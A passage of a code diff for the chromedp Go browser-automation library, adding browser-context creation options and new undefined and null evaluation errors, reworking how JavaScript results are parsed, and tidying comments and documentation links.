||||
closedTarget sync.WaitGroup
|
||||
|
||||
// allocated is closed when an allocated browser completely stops. If no
|
||||
// browser needs to be allocated, the channel is simply not initialised
|
||||
// browser needs to be allocated, the channel is simply not initialized
|
||||
// and remains nil.
|
||||
allocated chan struct{}
|
||||
|
||||
@@ -91,7 +115,7 @@ type Context struct {
|
||||
//
|
||||
// Cancelling the returned context will close a tab or an entire browser,
|
||||
// depending on the logic described above. To cancel a context while checking
|
||||
// for errors, see Cancel.
|
||||
// for errors, see [Cancel].
|
||||
//
|
||||
// Note that NewContext doesn't allocate nor start a browser; that happens the
|
||||
// first time Run is used on the context.
|
||||
@@ -99,9 +123,11 @@ func NewContext(parent context.Context, opts ...ContextOption) (context.Context,
|
||||
ctx, cancel := context.WithCancel(parent)
|
||||
|
||||
c := &Context{cancel: cancel, first: true}
|
||||
var parentBrowserContextID cdp.BrowserContextID
|
||||
if pc := FromContext(parent); pc != nil {
|
||||
c.Allocator = pc.Allocator
|
||||
c.Browser = pc.Browser
|
||||
parentBrowserContextID = pc.BrowserContextID
|
||||
// don't inherit Target, so that NewContext can be used to
|
||||
// create a new tab on the same browser.
|
||||
|
||||
@@ -121,6 +147,23 @@ func NewContext(parent context.Context, opts ...ContextOption) (context.Context,
|
||||
for _, o := range opts {
|
||||
o(c)
|
||||
}
|
||||
if c.createBrowserContextParams != nil && c.BrowserContextID != "" {
|
||||
panic("WithExistingBrowserContext can not be used when WithNewBrowserContext is specified")
|
||||
}
|
||||
if c.targetID == "" {
|
||||
if c.BrowserContextID == "" {
|
||||
// Inherit BrowserContextID from its parent context.
|
||||
c.BrowserContextID = parentBrowserContextID
|
||||
}
|
||||
} else {
|
||||
if c.createBrowserContextParams != nil {
|
||||
panic("WithNewBrowserContext can not be used when WithTargetID is specified")
|
||||
}
|
||||
if c.BrowserContextID != "" {
|
||||
panic("WithExistingBrowserContext can not be used when WithTargetID is specified")
|
||||
}
|
||||
}
|
||||
|
||||
if c.Allocator == nil {
|
||||
c.Allocator = setupExecAllocator(DefaultExecAllocatorOptions[:]...)
|
||||
}
|
||||
@@ -146,15 +189,22 @@ func NewContext(parent context.Context, opts ...ContextOption) (context.Context,
|
||||
// We need a new context, as ctx is cancelled; use a 1s timeout.
|
||||
ctx, cancel := context.WithTimeout(context.Background(), time.Second)
|
||||
defer cancel()
|
||||
browserExecutor := cdp.WithExecutor(ctx, c.Browser)
|
||||
if id := c.Target.SessionID; id != "" {
|
||||
action := target.DetachFromTarget().WithSessionID(id)
|
||||
if err := action.Do(cdp.WithExecutor(ctx, c.Browser)); c.cancelErr == nil && err != nil {
|
||||
if err := action.Do(browserExecutor); c.cancelErr == nil && err != nil {
|
||||
c.cancelErr = err
|
||||
}
|
||||
}
|
||||
if id := c.Target.TargetID; id != "" {
|
||||
action := target.CloseTarget(id)
|
||||
if err := action.Do(cdp.WithExecutor(ctx, c.Browser)); c.cancelErr == nil && err != nil {
|
||||
if err := action.Do(browserExecutor); c.cancelErr == nil && err != nil {
|
||||
c.cancelErr = err
|
||||
}
|
||||
}
|
||||
if c.browserContextOwner {
|
||||
action := target.DisposeBrowserContext(c.BrowserContextID)
|
||||
if err := action.Do(browserExecutor); c.cancelErr == nil && err != nil {
|
||||
c.cancelErr = err
|
||||
}
|
||||
}
|
||||
@@ -185,9 +235,9 @@ func FromContext(ctx context.Context) *Context {
|
||||
// Cancel. A timeout can be attached to this context to determine how long to
|
||||
// wait for the browser to close itself:
|
||||
//
|
||||
// tctx, tcancel := context.WithTimeout(ctx, 10 * time.Second)
|
||||
// defer tcancel()
|
||||
// chromedp.Cancel(tctx)
|
||||
// tctx, tcancel := context.WithTimeout(ctx, 10 * time.Second)
|
||||
// defer tcancel()
|
||||
// chromedp.Cancel(tctx)
|
||||
//
|
||||
// Usually a "defer cancel()" will be enough for most use cases. However, Cancel
|
||||
// is the better option if one wants to gracefully close a browser, or catch
|
||||
@@ -261,6 +311,15 @@ func initContextBrowser(ctx context.Context) (*Context, error) {
|
||||
// Note that the first time Run is called on a context, a browser will be
|
||||
// allocated via Allocator. Thus, it's generally a bad idea to use a context
|
||||
// timeout on the first Run call, as it will stop the entire browser.
|
||||
//
|
||||
// Also note that the actions are run with the Target executor. In the case that
|
||||
// a Browser executor is required, the action can be written like this:
|
||||
//
|
||||
// err := chromedp.Run(ctx, chromedp.ActionFunc(func(ctx context.Context) error {
|
||||
// c := chromedp.FromContext(ctx)
|
||||
// id, err := target.CreateBrowserContext().Do(cdp.WithExecutor(ctx, c.Browser))
|
||||
// return err
|
||||
// }))
|
||||
func Run(ctx context.Context, actions ...Action) error {
|
||||
c, err := initContextBrowser(ctx)
|
||||
if err != nil {
|
||||
@@ -298,7 +357,16 @@ func (c *Context) newTarget(ctx context.Context) error {
|
||||
}
|
||||
if !c.first {
|
||||
var err error
|
||||
c.targetID, err = target.CreateTarget("about:blank").Do(cdp.WithExecutor(ctx, c.Browser))
|
||||
browserExecutor := cdp.WithExecutor(ctx, c.Browser)
|
||||
if c.createBrowserContextParams != nil {
|
||||
c.BrowserContextID, err = c.createBrowserContextParams.Do(browserExecutor)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
c.browserContextOwner = true
|
||||
c.createBrowserContextParams = nil
|
||||
}
|
||||
c.targetID, err = target.CreateTarget("about:blank").WithBrowserContextID(c.BrowserContextID).Do(browserExecutor)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
@@ -409,6 +477,38 @@ func WithTargetID(id target.ID) ContextOption {
|
||||
return func(c *Context) { c.targetID = id }
|
||||
}
|
||||
|
||||
// CreateBrowserContextOption is a BrowserContext creation options.
|
||||
type CreateBrowserContextOption = func(*target.CreateBrowserContextParams) *target.CreateBrowserContextParams
|
||||
|
||||
// WithNewBrowserContext sets up a context to create a new BrowserContext, and
|
||||
// create a new target in this BrowserContext. A child context will create its
|
||||
// target in this BrowserContext too, unless it's set up with other options.
|
||||
// The new BrowserContext will be disposed when the context is done.
|
||||
func WithNewBrowserContext(options ...CreateBrowserContextOption) ContextOption {
|
||||
return func(c *Context) {
|
||||
if c.first {
|
||||
panic("WithNewBrowserContext can not be used before Browser is initialized")
|
||||
}
|
||||
|
||||
params := target.CreateBrowserContext().WithDisposeOnDetach(true)
|
||||
for _, o := range options {
|
||||
params = o(params)
|
||||
}
|
||||
c.createBrowserContextParams = params
|
||||
}
|
||||
}
|
||||
|
||||
// WithExistingBrowserContext sets up a context to create a new target in the
|
||||
// specified browser context.
|
||||
func WithExistingBrowserContext(id cdp.BrowserContextID) ContextOption {
|
||||
return func(c *Context) {
|
||||
if c.first {
|
||||
panic("WithExistingBrowserContext can not be used before Browser is initialized")
|
||||
}
|
||||
c.BrowserContextID = id
|
||||
}
|
||||
}
|
||||
|
||||
// WithLogf is a shortcut for WithBrowserOption(WithBrowserLogf(f)).
|
||||
func WithLogf(f func(string, ...interface{})) ContextOption {
|
||||
return WithBrowserOption(WithBrowserLogf(f))
|
||||
@@ -572,7 +672,7 @@ func responseAction(resp **network.Response, actions ...Action) Action {
|
||||
}
|
||||
|
||||
// If the ctx parameter was cancelled by the caller (or
|
||||
// by a timeout etc) the select will race between
|
||||
// by a timeout etc.) the select will race between
|
||||
// lctx.Done and ctx.Done, since lctx is a sub-context
|
||||
// of ctx. So we can't return nil here, as otherwise
|
||||
// that race would mean that we would drop 50% of the
|
||||
@@ -606,7 +706,7 @@ type Action interface {
|
||||
Do(context.Context) error
|
||||
}
|
||||
|
||||
// ActionFunc is a adapter to allow the use of ordinary func's as an Action.
|
||||
// ActionFunc is an adapter to allow the use of ordinary func's as an Action.
|
||||
type ActionFunc func(context.Context) error
|
||||
|
||||
// Do executes the func f using the provided context and frame handler.
|
||||
|
||||
+2
-2
@@ -1,10 +1,10 @@
|
||||
// Package device contains device emulation definitions for use with chromedp's
|
||||
// Emulate action.
|
||||
//
|
||||
// See: https://raw.githubusercontent.com/puppeteer/puppeteer/main/src/common/DeviceDescriptors.ts
|
||||
// See: https://raw.githubusercontent.com/puppeteer/puppeteer/main/packages/puppeteer-core/src/common/Device.ts
|
||||
package device
|
||||
|
||||
// Generated by gen.go. DO NOT EDIT.
|
||||
// Code generated by gen.go. DO NOT EDIT.
|
||||
|
||||
//go:generate go run gen.go
|
||||
|
||||
|
||||
+2
-4
@@ -82,8 +82,7 @@ func ResetViewport() EmulateAction {
|
||||
|
||||
// Device is the shared interface for known device types.
|
||||
//
|
||||
// See: github.com/chromedp/chromedp/device for a set of off-the-shelf devices
|
||||
// and modes.
|
||||
// See [device] for a set of off-the-shelf devices and modes.
|
||||
type Device interface {
|
||||
// Device returns the device info.
|
||||
Device() device.Info
|
||||
@@ -91,8 +90,7 @@ type Device interface {
|
||||
|
||||
// Emulate is an action to emulate a specific device.
|
||||
//
|
||||
// See: github.com/chromedp/chromedp/device for a set of off-the-shelf devices
|
||||
// and modes.
|
||||
// See [device] for a set of off-the-shelf devices and modes.
|
||||
func Emulate(device Device) EmulateAction {
|
||||
d := device.Device()
|
||||
|
||||
|
||||
+6
@@ -48,4 +48,10 @@ const (
|
||||
|
||||
// ErrPollingTimeout is the error that the timeout reached before the pageFunction returns a truthy value.
|
||||
ErrPollingTimeout Error = "waiting for function failed: timeout"
|
||||
|
||||
// ErrJSUndefined is the error that the type of RemoteObject is "undefined".
|
||||
ErrJSUndefined Error = "encountered an undefined value"
|
||||
|
||||
// ErrJSNull is the error that the value of RemoteObject is null.
|
||||
ErrJSNull Error = "encountered a null value"
|
||||
)
|
||||
+44
-38
@@ -3,16 +3,16 @@ package chromedp
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"reflect"
|
||||
|
||||
"github.com/chromedp/cdproto/runtime"
|
||||
)
|
||||
|
||||
// EvaluateAction are actions that evaluate Javascript expressions using
|
||||
// EvaluateAction are actions that evaluate JavaScript expressions using
|
||||
// runtime.Evaluate.
|
||||
type EvaluateAction Action
|
||||
|
||||
// Evaluate is an action to evaluate the Javascript expression, unmarshaling
|
||||
// Evaluate is an action to evaluate the JavaScript expression, unmarshaling
|
||||
// the result of the script evaluation to res.
|
||||
//
|
||||
// When res is nil, the script result will be ignored.
|
||||
@@ -22,18 +22,16 @@ type EvaluateAction Action
|
||||
//
|
||||
// When res is a **runtime.RemoteObject, res will be set to the low-level
|
||||
// protocol type, and no attempt will be made to convert the result.
|
||||
// Original objects are maintained in memory until the page navigated or closed,
|
||||
// unless they are either explicitly released or are released along with the
|
||||
// other objects in their object group. runtime.ReleaseObject or
|
||||
// runtime.ReleaseObjectGroup can be used to ask the browser to release
|
||||
// original objects.
|
||||
// The original objects could be maintained in memory until the page is
|
||||
// navigated or closed. `runtime.ReleaseObject` or `runtime.ReleaseObjectGroup`
|
||||
// can be used to ask the browser to release the original objects.
|
||||
//
|
||||
// For all other cases, the result of the script will be returned "by value" (ie,
|
||||
// For all other cases, the result of the script will be returned "by value" (i.e.,
|
||||
// JSON-encoded), and subsequently an attempt will be made to json.Unmarshal
|
||||
// the script result to res. It returns an error if the script result is
|
||||
// "undefined" in this case.
|
||||
//
|
||||
// Note: any exception encountered will be returned as an error.
|
||||
// the script result to res. When the script result is "undefined" or "null",
|
||||
// and the value that res points to can not be nil (only the value of a chan,
|
||||
// func, interface, map, pointer, or slice can be nil), it returns [ErrJSUndefined]
|
||||
// or [ErrJSNull] respectively.
|
||||
func Evaluate(expression string, res interface{}, opts ...EvaluateOption) EvaluateAction {
|
||||
return ActionFunc(func(ctx context.Context) error {
|
||||
// set up parameters
|
||||
@@ -58,16 +56,11 @@ func Evaluate(expression string, res interface{}, opts ...EvaluateOption) Evalua
|
||||
return exp
|
||||
}
|
||||
|
||||
_, err = parseRemoteObject(v, res)
|
||||
return err
|
||||
return parseRemoteObject(v, res)
|
||||
})
|
||||
}
|
||||
|
||||
func parseRemoteObject(v *runtime.RemoteObject, res interface{}) (undefined bool, err error) {
|
||||
// undefined indicates that the result is a javascript "undefined" value.
|
||||
// Poll needs this value to decide whether it's a timeout.
|
||||
undefined = v.Type == "undefined"
|
||||
|
||||
func parseRemoteObject(v *runtime.RemoteObject, res interface{}) (err error) {
|
||||
if res == nil {
|
||||
return
|
||||
}
|
||||
@@ -82,34 +75,47 @@ func parseRemoteObject(v *runtime.RemoteObject, res interface{}) (undefined bool
|
||||
return
|
||||
}
|
||||
|
||||
if undefined {
|
||||
// The unmarshal below would fail with the cryptic
|
||||
// "unexpected end of JSON input" error, so try to give
|
||||
// a better one here.
|
||||
err = fmt.Errorf("encountered an undefined value")
|
||||
return
|
||||
value := v.Value
|
||||
if value == nil {
|
||||
rv := reflect.ValueOf(res)
|
||||
if rv.Kind() == reflect.Ptr {
|
||||
switch rv.Elem().Kind() {
|
||||
// Common kinds that can be nil.
|
||||
case reflect.Ptr, reflect.Map, reflect.Slice:
|
||||
// It's weird that res is a pointer to the following kinds,
|
||||
// but they can be nil too.
|
||||
case reflect.Chan, reflect.Func, reflect.Interface:
|
||||
default:
|
||||
// When the value that `res` points to can not be set to nil,
|
||||
// return [ErrJSUndefined] or [ErrJSNull] respectively.
|
||||
if v.Type == "undefined" {
|
||||
return ErrJSUndefined
|
||||
}
|
||||
return ErrJSNull
|
||||
}
|
||||
}
|
||||
// Change the value to the json literal null to make json.Unmarshal happy.
|
||||
value = []byte("null")
|
||||
}
|
||||
|
||||
// unmarshal
|
||||
err = json.Unmarshal(v.Value, res)
|
||||
return
|
||||
return json.Unmarshal(value, res)
|
||||
}
|
||||
|
||||
// EvaluateAsDevTools is an action that evaluates a Javascript expression as
|
||||
// EvaluateAsDevTools is an action that evaluates a JavaScript expression as
|
||||
// Chrome DevTools would, evaluating the expression in the "console" context,
|
||||
// and making the Command Line API available to the script.
|
||||
//
|
||||
// See Evaluate for more information on how script expressions are evaluated.
|
||||
// See [Evaluate] for more information on how script expressions are evaluated.
|
||||
//
|
||||
// Note: this should not be used with untrusted Javascript.
|
||||
// Note: this should not be used with untrusted JavaScript.
|
||||
func EvaluateAsDevTools(expression string, res interface{}, opts ...EvaluateOption) EvaluateAction {
|
||||
return Evaluate(expression, res, append(opts, EvalObjectGroup("console"), EvalWithCommandLineAPI)...)
|
||||
}
|
||||
|
||||
// EvaluateOption is the type for Javascript evaluation options.
|
||||
// EvaluateOption is the type for JavaScript evaluation options.
|
||||
type EvaluateOption = func(*runtime.EvaluateParams) *runtime.EvaluateParams
|
||||
|
||||
// EvalObjectGroup is a evaluate option to set the object group.
|
||||
// EvalObjectGroup is an evaluate option to set the object group.
|
||||
func EvalObjectGroup(objectGroup string) EvaluateOption {
|
||||
return func(p *runtime.EvaluateParams) *runtime.EvaluateParams {
|
||||
return p.WithObjectGroup(objectGroup)
|
||||
@@ -119,20 +125,20 @@ func EvalObjectGroup(objectGroup string) EvaluateOption {
|
||||
// EvalWithCommandLineAPI is an evaluate option to make the DevTools Command
|
||||
// Line API available to the evaluated script.
|
||||
//
|
||||
// See Evaluate for more information on how evaluate actions work.
|
||||
// See [Evaluate] for more information on how evaluate actions work.
|
||||
//
|
||||
// Note: this should not be used with untrusted Javascript.
|
||||
// Note: this should not be used with untrusted JavaScript.
|
||||
func EvalWithCommandLineAPI(p *runtime.EvaluateParams) *runtime.EvaluateParams {
|
||||
return p.WithIncludeCommandLineAPI(true)
|
||||
}
|
||||
|
||||
// EvalIgnoreExceptions is a evaluate option that will cause Javascript
|
||||
// EvalIgnoreExceptions is an evaluate option that will cause JavaScript
|
||||
// evaluation to ignore exceptions.
|
||||
func EvalIgnoreExceptions(p *runtime.EvaluateParams) *runtime.EvaluateParams {
|
||||
return p.WithSilent(true)
|
||||
}
|
||||
|
||||
// EvalAsValue is a evaluate option that will cause the evaluated Javascript
|
||||
// EvalAsValue is an evaluate option that will cause the evaluated JavaScript
|
||||
// expression to encode the result of the expression as a JSON-encoded value.
|
||||
func EvalAsValue(p *runtime.EvaluateParams) *runtime.EvaluateParams {
|
||||
return p.WithReturnByValue(true)
|
||||
|
||||
Loaded 100 of 462 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user